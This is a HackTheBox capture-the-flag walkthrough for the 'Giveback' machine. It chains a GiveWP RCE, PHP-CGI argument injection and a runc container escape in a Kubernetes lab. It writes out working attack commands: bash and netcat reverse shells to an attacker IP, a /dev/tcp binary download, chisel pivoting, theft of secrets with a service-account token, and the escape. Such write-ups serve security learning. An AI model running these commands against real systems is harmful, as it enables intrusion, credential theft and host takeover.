Post

HackTheBox giveback Walkthrough

HackTheBox giveback Walkthrough

HackTheBox — Giveback

Difficulty: Medium | OS: Linux | Platform: HackTheBox
Author: babywyrm | Writeup By: k1ph4ru | Date: January 5, 2026


Synopsis

Giveback is a medium-difficulty Linux machine that chains together multiple real-world CVEs across a containerized Kubernetes environment. The attack path flows from an unauthenticated WordPress plugin exploit, through internal service discovery and lateral movement via a PHP-CGI injection bug, into Kubernetes secret enumeration for host SSH access, and finally a container escape to achieve full root on the underlying host.

CVEs Exploited: | CVE | Component | Impact | |—–|———–|——–| | CVE-2024-5932 | GiveWP Plugin ≤ 3.14.1 | Unauthenticated RCE via PHP Object Injection | | CVE-2024-4577 | PHP-CGI 8.x | Argument Injection → RCE as root | | CVE-2024-21626 | runc ≤ 1.1.11 | Container escape via fd leak |


Skills Required / Learned

  • WordPress plugin exploitation (insecure deserialization)
  • PHP-CGI argument injection exploitation
  • Internal service discovery from environment variables
  • Chisel-based network pivoting / port forwarding
  • Kubernetes API enumeration and secret extraction
  • runc container escape exploitation

Reconnaissance

Nmap Port Scan

1
2
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.94 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$// )
nmap -sCV -p$ports 10.10.11.94

Results:

PortStateServiceVersion
22/tcpopenSSHOpenSSH 8.9p1 Ubuntu
80/tcpopenHTTPnginx 1.28.0
30686/tcpopenHTTPGolang net/http server

Note: Ports 6443 and 10250 show as filtered — these are the Kubernetes API server and kubelet. Their presence leaks that we are dealing with a K3s Kubernetes cluster.

The HTTP server on port 80 reveals /wp-admin/ in robots.txt, confirming a WordPress installation. The Golang service on port 30686 responds with JSON describing a wp-nginx-service load balancer health endpoint — useful for later pivot confirmation.

DNS / vHost Discovery

While browsing port 80, links point to giveback.htb. Add it to /etc/hosts:

1
echo "10.10.11.94 giveback.htb" | sudo tee -a /etc/hosts

WordPress Enumeration with WPScan

1
wpscan --url http://giveback.htb --enumerate p --plugins-detection aggressive

Key Findings:

  • WordPress version: 6.8.1
  • Theme: bizberg (up to date — ignore)
  • Plugin: Give v3.14.0vulnerable
1
2
3
# Enumerate users via REST API
curl -s http://giveback.htb/wp-json/wp/v2/users | jq '.[].name'
# → "babywyrm"

Username babywyrm identified. Keep this for later.


Initial Foothold — CVE-2024-5932 (GiveWP RCE)

Vulnerability Overview

CVE-2024-5932 is a PHP Object Injection flaw in the GiveWP donation plugin (versions ≤ 3.14.1). User-controlled input passed through the give_title POST parameter is deserialized without sanitization. A pre-existing POP (Property-Oriented Programming) chain in the codebase allows an unauthenticated attacker to escalate from object injection to arbitrary command execution.

Why it’s critical: No authentication required. A single malicious POST to the donation form triggers RCE. The chain abuses Give\Vendors\Faker\ValidGenerator whose $validator property is called as a function — setting it to shell_exec with attacker-controlled arguments completes the chain.

Exploitation

The donation form is accessible at:

1
http://giveback.htb/donations/the-things-we-need/

Step 1 — Write a reverse shell script to /tmp/code (avoids shell escaping issues):

1
2
3
python3 CVE-2024-5932-rce.py \
  -u http://giveback.htb/donations/the-things-we-need/ \
  -c "echo '/usr/bin/bash -i >& /dev/tcp/10.10.14.39/4455 0>&1' > /tmp/code"

Step 2 — Start listener:

1
nc -lnvp 4455

Step 3 — Execute the staged script:

1
2
3
python3 CVE-2024-5932-rce.py \
  -u http://giveback.htb/donations/the-things-we-need/ \
  -c "/usr/bin/bash /tmp/code"

Shell obtained:

1
2
3
4
connect to [10.10.14.39] from (UNKNOWN) [10.10.11.94] xxxxx
bash: no job control in this shell
<hostname>:/opt/bitnami/wordpress/wp-admin$ id
uid=1001 gid=0(root) groups=0(root),1001

Tip: Direct inline reverse shells with bash -c "bash -i >& /dev/tcp/..." often fail due to quoting collisions in the serialized payload. Writing to a file first then executing it is significantly more reliable.


Container Enumeration

We are inside a Kubernetes pod running the WordPress container. Start basic enumeration:

1
env | grep -i service

Critical Discovery — Internal Service

From environment variables:

1
2
LEGACY_INTRANET_SERVICE_PORT=tcp://10.43.2.241:5000
LEGACY_INTRANET_SERVICE_SERVICE_HOST=10.43.2.241

This reveals an internal intranet service at 10.43.2.241:5000 that is unreachable from the outside. We must pivot to it.

Database Credentials (Bonus)

Also visible in env vars:

1
2
3
WORDPRESS_DATABASE_PASSWORD=sW5sp4spa3u7RLyetrekE4oS
WORDPRESS_DATABASE_USER=bn_wordpress
WORDPRESS_DATABASE_NAME=bitnami_wordpress

The WordPress user hash from MySQL ($P$B...) is not crackable with rockyou — ignore and move on.


Network Pivoting with Chisel

Why Chisel?

The pod lacks wget and curl. We use raw /dev/tcp bash trick to download the binary, then use it to create a reverse TCP tunnel — exposing the internal service on our local machine.

Setup

On attacker machine — serve the binary and start the server:

1
2
3
python3 -m http.server 7000

chisel server -p 666 --reverse

On victim pod — download and execute:

1
2
3
4
5
6
7
8
9
10
# Download without wget/curl using bash /dev/tcp
(
  exec 3<>/dev/tcp/10.10.14.39/7000
  echo -e "GET /chisel HTTP/1.1\r\nHost: 10.10.14.39\r\nConnection: close\r\n\r\n" >&3
  cat <&3 | sed '1,/^\r$/d' > /tmp/chisel
  chmod +x /tmp/chisel
) &

# Create the tunnel
/tmp/chisel client 10.10.14.39:666 R:222:10.43.2.241:5000

Now http://localhost:222 on the attacker machine reaches the internal service.


Lateral Movement — CVE-2024-4577 (PHP-CGI RCE)

Internal CMS Discovery

Visiting http://localhost:222 reveals a GiveBack LLC Internal CMS page. The footer contains a critical clue:

“This CMS was originally deployed on Windows IIS using php-cgi.exe. During migration to Linux, the Windows-style CGI handling was retained.”

Internal resources listed:

  • /cgi-bin/php-cgiPHP-CGI handler (publicly accessible, no auth)
  • /phpinfo.php?debug ← reveals PHP 8.3.3

Vulnerability Overview

CVE-2024-4577 is a PHP-CGI argument injection vulnerability. On Windows, PHP-CGI is vulnerable because certain Unicode characters (like the soft hyphen 0xAD) are normalized to - (hyphen) by Windows’ Best-Fit character mapping, allowing an attacker to inject PHP CLI arguments directly into a CGI request.

Critically, even though this container runs Linux, the CGI configuration was copied from a Windows deployment and the /cgi-bin/php-cgi path remains directly accessible — meaning the argument injection works because the binary is being invoked in CGI mode without PHP FPM’s normal protections.

The injected argument %ADd+auto_prepend_file=php://input causes PHP to:

  1. Treat the POST body as PHP code to prepend before any script
  2. Execute it with the privileges of the web server process

Exploitation

Confirm RCE:

1
2
3
4
5
curl -i -X POST "http://localhost:222/cgi-bin/php-cgi?%ADd+auto_prepend_file=php%3A%2F%2Finput" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary "<?php system('id'); ?>"

# Response: uid=0(root) gid=0(root) groups=0(root),...

Get reverse shell (as root in container):

1
2
3
4
5
nc -lnvp 4433

curl -i -X POST "http://localhost:222/cgi-bin/php-cgi?%ADd+auto_prepend_file=php%3A%2F%2Finput" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary "<?php system('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | /usr/bin/nc 10.10.14.39 4433 > /tmp/f'); ?>"

Shell obtained as root inside the legacy-intranet container.


Kubernetes Secret Enumeration

Now running as root inside a second container, we check for Kubernetes service account credentials:

1
2
ls /run/secrets/kubernetes.io/serviceaccount/
# ca.crt  namespace  token

Querying the Kubernetes API

1
2
3
4
5
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

curl -sSk -H "Authorization: Bearer $TOKEN" \
  "https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/secrets"

Secrets Found

Secret NameKeyValue (Base64)
beta-vino-wp-mariadbmariadb-passwordc1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T
beta-vino-wp-mariadbmariadb-root-passwordc1c1c3A0c3lldHJlMzI4MjgzODNrRTRvUw==
user-secret-babywyrmMASTERPASSc3hVZ1lLNUc4SlFEcVFvNXRxVkZqbjh4bG1LazMx

Decode the Password

1
2
echo "c3hVZ1lLNUc4SlFEcVFvNXRxVkZqbjh4bG1LazMx" | base64 -d
# → sxUgYK5G8JQDqQo5tqVFjn8xlmKk31

SSH to Host — User Flag

1
2
3
4
5
ssh babywyrm@10.10.11.94
# Password: sxUgYK5G8JQDqQo5tqVFjn8xlmKk31

babywyrm@giveback:~$ cat user.txt
# User flag here

Privilege Escalation — CVE-2024-21626 (runc Container Escape)

Sudo Enumeration

1
sudo -l
1
2
3
User babywyrm may run the following commands on localhost:
    (ALL) NOPASSWD: !ALL
    (ALL) /opt/debug

Note: (ALL) NOPASSWD: !ALL denies passwordless execution for everything, but the next rule (ALL) /opt/debug overrides it for that binary specifically — allowing sudo /opt/debug with babywyrm’s password.

Identifying the Binary

1
2
3
4
5
sudo /opt/debug --help
# → "Restricted runc Debug Wrapper"

sudo /opt/debug --version
# → runc version 1.1.11

runc 1.1.11 is vulnerable to CVE-2024-21626.

CVE-2024-21626 — Vulnerability Overview

This is a container escape vulnerability caused by an internal file descriptor leak in runc. When runc sets up a container, it opens a file descriptor pointing to a directory on the host filesystem (/proc/self/fd/7). Due to a logic bug, this fd is not closed before the container process starts.

By setting the container’s working directory (cwd in config.json) to /proc/self/fd/7, the container process starts with its CWD pointing into the host filesystem. From there, simple ../../ traversal escapes the container entirely.

Exploitation

Step 1 — Prepare a container filesystem locally:

1
2
3
# On attacker machine
docker export $(docker create alpine:latest) > alpine.tar
python3 -m http.server 3000

Step 2 — Download and extract on target:

1
2
3
4
5
6
cd /tmp
wget http://10.10.14.39:3000/alpine.tar
mkdir -p data/rootfs
cd data
cp /tmp/alpine.tar .
tar -xf alpine.tar -C rootfs/

Step 3 — Generate default runc config:

1
2
sudo /opt/debug spec
# Generates config.json in current directory

Step 4 — Copy bundle to writable directory (config.json is owned by root):

1
2
3
mkdir conc
cp -a alpine.tar config.json rootfs conc/
cd conc/

Step 5 — Patch the cwd to trigger the fd leak:

1
perl -i -pe 's/"cwd": "\/",/"cwd": "\/proc\/self\/fd\/7",/' config.json

Step 6 — Run the container:

1
2
3
sudo /opt/debug --log ./log.json run runc_exp
# Enter babywyrm's password
# Enter MariaDB password: sW5sp4spa3u7RLyetrekE4oS (decoded earlier)

Step 7 — Escape and read root flag:

1
2
3
4
5
6
7
# We are now in the container, but CWD points to host filesystem
pwd
# → /proc/self/fd/7  (resolves to a host directory)

# Traverse to root
cat ../../../../../root/root.txt
#  Root flag here

Attack Chain Summary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[External Attacker]
       │
       ▼ CVE-2024-5932 (Unauthenticated RCE)
[WordPress Pod — uid=1001]
       │
       ├── Env vars leak internal service: 10.43.2.241:5000
       ├── Chisel tunnel: localhost:222 → 10.43.2.241:5000
       │
       ▼ CVE-2024-4577 (PHP-CGI Argument Injection)
[Legacy Intranet Pod — uid=0/root]
       │
       ├── /run/secrets/kubernetes.io → service account token
       ├── K8s API → list secrets → user-secret-babywyrm
       ├── Decode MASTERPASS → SSH credentials
       │
       ▼ SSH
[Host — babywyrm@giveback]
       │
       ├── sudo /opt/debug → runc version 1.1.11
       │
       ▼ CVE-2024-21626 (runc fd leak container escape)
[Host — root]
       │
       └── cat /root/root.txt

Key Takeaways

1. Environment Variables Leak Sensitive Data
Kubernetes injects service hostnames and ports as env vars into every pod. Any compromised pod can reveal the internal cluster topology. Sensitive values like DB passwords should use Kubernetes Secrets mounted as files, not env vars.

2. Legacy Configurations Are Dangerous
The PHP-CGI endpoint worked because a Windows-style deployment configuration was blindly ported to Linux. Always audit configurations during platform migrations.

3. Kubernetes Secrets Are Not Secret Enough
By default, Kubernetes mounts a service account token in every pod. If a pod is compromised and its service account has list secrets permission, all secrets in the namespace are readable. Apply least-privilege RBAC rigorously.

4. runc Version Matters
Container runtimes are part of the security boundary. CVE-2024-21626 demonstrates that a single vulnerable runc version can undo all container isolation. Keep runtimes patched and restrict who can run containers or spawn new ones.

5. Chaining Medium Bugs = Critical Impact
No single vulnerability here is catastrophic in isolation. Chained together — WordPress plugin → misconfig → K8s misconfiguration → unpatched runtime — they achieve full host compromise from zero credentials.


Tools Used

ToolPurpose
nmapPort scanning and service detection
wpscanWordPress enumeration
CVE-2024-5932-rce.pyGiveWP PHP object injection exploit
chiselTCP tunneling / port forwarding
curlCVE-2024-4577 PHP-CGI exploitation
kubectl API (via curl)Kubernetes secret enumeration
dockerBuild Alpine rootfs for runc escape
runc (/opt/debug)CVE-2024-21626 container escape

This post is licensed under CC BY 4.0 by the author.